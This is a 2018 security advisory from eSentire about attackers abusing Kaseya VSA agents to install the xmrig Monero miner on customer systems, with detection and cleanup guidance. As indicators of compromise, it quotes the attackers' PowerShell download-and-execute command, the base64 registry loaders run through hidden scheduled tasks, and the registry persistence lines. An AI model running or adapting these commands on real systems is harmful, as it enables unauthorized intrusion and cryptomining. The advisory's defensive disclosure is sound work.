Originally published on 2018-01-29
eSentire has observed an unknown threat actor attempting to deploy a Monero cryptocurrency miner to multiple eSentire customers. We assess with high confidence that the threat leveraged Kaseya Ltd’s Virtual Systems Administrator (VSA) agent to gain unauthorized access to multiple customer assets since January 19, 2018.
Although we have no direct information pertaining to the root cause of the observed incidents, customers who utilize Kaseya VSA are encouraged to review the below action items and contact their managed service provider.
eSentire has disclosed this issue to Kaseya, who is actively working to communicate and mitigate the issue.
What we’re doing about it:
- Associated IP addresses have been added to the eSentire Global Blacklist.
- Detections have been deployed on esENDPOINTTM and esNETWORKTM.
- The Threat Intelligence Team is monitoring this incident for further information.
What you should do about it:
Kaseya has made a set of patches available to address this vulnerability and has provided procedures to detect and remove the Monero cryptocurrency miner software from affected endpoints. We recommend applying the vendor patches as soon as possible. Details are available from Kaseya at: https://helpdesk.kaseya.com/hc/en-gb/articles/360000333152
The technical Indicators of Compromise included in this advisory can be used by affected organizations to facilitate detection of the observed malicious activities. It is possible this exploit could mutate, requiring new Indicators of Compromise. eSentire will update this advisory as new information becomes available.
Between January 19th and 24th 2018, eSentire SOC observed suspicious PowerShell activity across several customers running esENDPOINT.
A summary of this activity is as follows:
- Kaseya’s “agentmon.exe” launches PowerShell via cmd.exe with command line:
powershell "" -command "$client = new-object System.Net.WebClient;iex $client.DownloadString('hxxps://dl[.]dropboxusercontent[.]com/s/vtzu1wyvem5n5je/reg_load.ps1')" ""
- PowerShell downloads several PS1 scripts and XML configuration files from Dropbox.
- PowerShell downloads xmrig.exe in four base64 encoded parts from Dropbox (a.txt,b.txt,c.txt,d.txt or a_32.txt, b_32.txt, c_32.txt, d_32.txt)
- PowerShell downloads initiator script from Dropbox.
- Stores encoded binary parts and initiator script in the registry under HKLM\SOFTWARE\Microsoft\PowerShell.
- Creates one randomly generated scheduled task, one static task, set to trigger at a future date.
- When scheduled task conditions are satisfied, loads initiator PowerShell script from the registry.
- Initiator script decodes and concatenates the xmrig.exe binary parts from the registry.
- Xmrig.exe is loaded into PowerShell.exe process using Invoke-ReflectivePEInjection function using code derived from initiator script.
The result of this activity is the deployment of Monero mining software xmrig.exe on victim assets. This activity was traced back to Kaseya’s VSA agent (agentmon.exe) and impacted customers were notified.
Customers who actively use Kaseya VSA are encouraged to examine systems for the indicators of compromise included in this advisory. Impacted systems can be remediated by removing registry keys and scheduled tasks, and by stopping the PowerShell process running xmrig.exe.
Indicators of Compromise:
- xmrig.exe (e9ce1ba693a63cd5c33f6ac8dbca9763)
Two scheduled tasks are created using schtasks.exe, one with a randomly generated name with a static creation date, the other with a static task name.
- Any task with creation date “2015-01-11 at 20:16:54” and the following:
- Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
-version 2 -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp "HKLM:\SOFTWARE\Microsoft\Powershell").ScriptInit)));
- Tasks with name “\Microsoft\Windows\Wininet\CacheTask” and the following:
- Command: c:\windows\system32\windowspowershell\v1.0\powershell.exe
-version 2 -executionpolicy bypass -command "$client = new-object System.Net.WebClient;iex $client.DownloadString('hxxps://dl[.]dropboxusercontent[.]com/s/namkbc37wtx2mdq/reg_load_subsequent.ps1')"
IP Addresses (contacted by xmrig.exe):
Yesterday evening, Dropbox hosted PowerShell scripts pertaining to this threat were updated with new registry keys and scheduled tasks.
This was noted by Huntress Labs (https://twitter.com/HuntressLabs/status/958262755638657024) and confirmed by eSentire.
We recommend following up with your MSP to ensure that the latest version of Kaseya’s cleanup scripts has been deployed (Kaseya has updated the script with checks for the new keys and scheduled task https://helpdesk.kaseya.com/hc/en-gb/articles/360000346651?mobile_site=true ).
The first change is to the registry keys where the encoded binary parts and initiator script are stored:
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name a -Value $a
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name b -Value $b
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name c -Value $c
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name d -Value $d
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell -Name ScriptInit -Value $firstScript
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name a -Value $a
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name b -Value $b
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name c -Value $c
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name d -Value $d
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies -Name Start -Value $firstScript
The second change is an edit to scheduled task “\Microsoft\Windows\WindowsUpdate\sihboot”, which executes PowerShell and redeploys the initiator script and binary.
eSentire has observed several changes in infrastructure and persistence techniques since 2018-01-30. The infrastructure used to host deployment scripts and binaries has moved away from Dropbox to various VPS hosts. eSentire has blocked access to the new infrastructure across our customers, but are not publicly sharing these indicators at this time.
Registry keys holding encoded xmrig binary parts and the initiator script has changed to the following locations:
Reg_load.ps1 uses Windows Task Scheduler (schtasks.exe) to read from file SynchronizeTimeZone.xml to deploy task name “\Microsoft\Windows\Time Zone\SynchronizeTimeZone”.
A new variant of xmrig.exe (compiled 2018-02-05) was also observed as md5:ed89e756ad2ed4bdb8b075e62ddf9fea/name:chrome.exe. This file was first submitted to VirusTotal at 2018-02-14 02:39:59.
Additionally, the following registry keys were observed after 2018-02-02, but may no longer be used: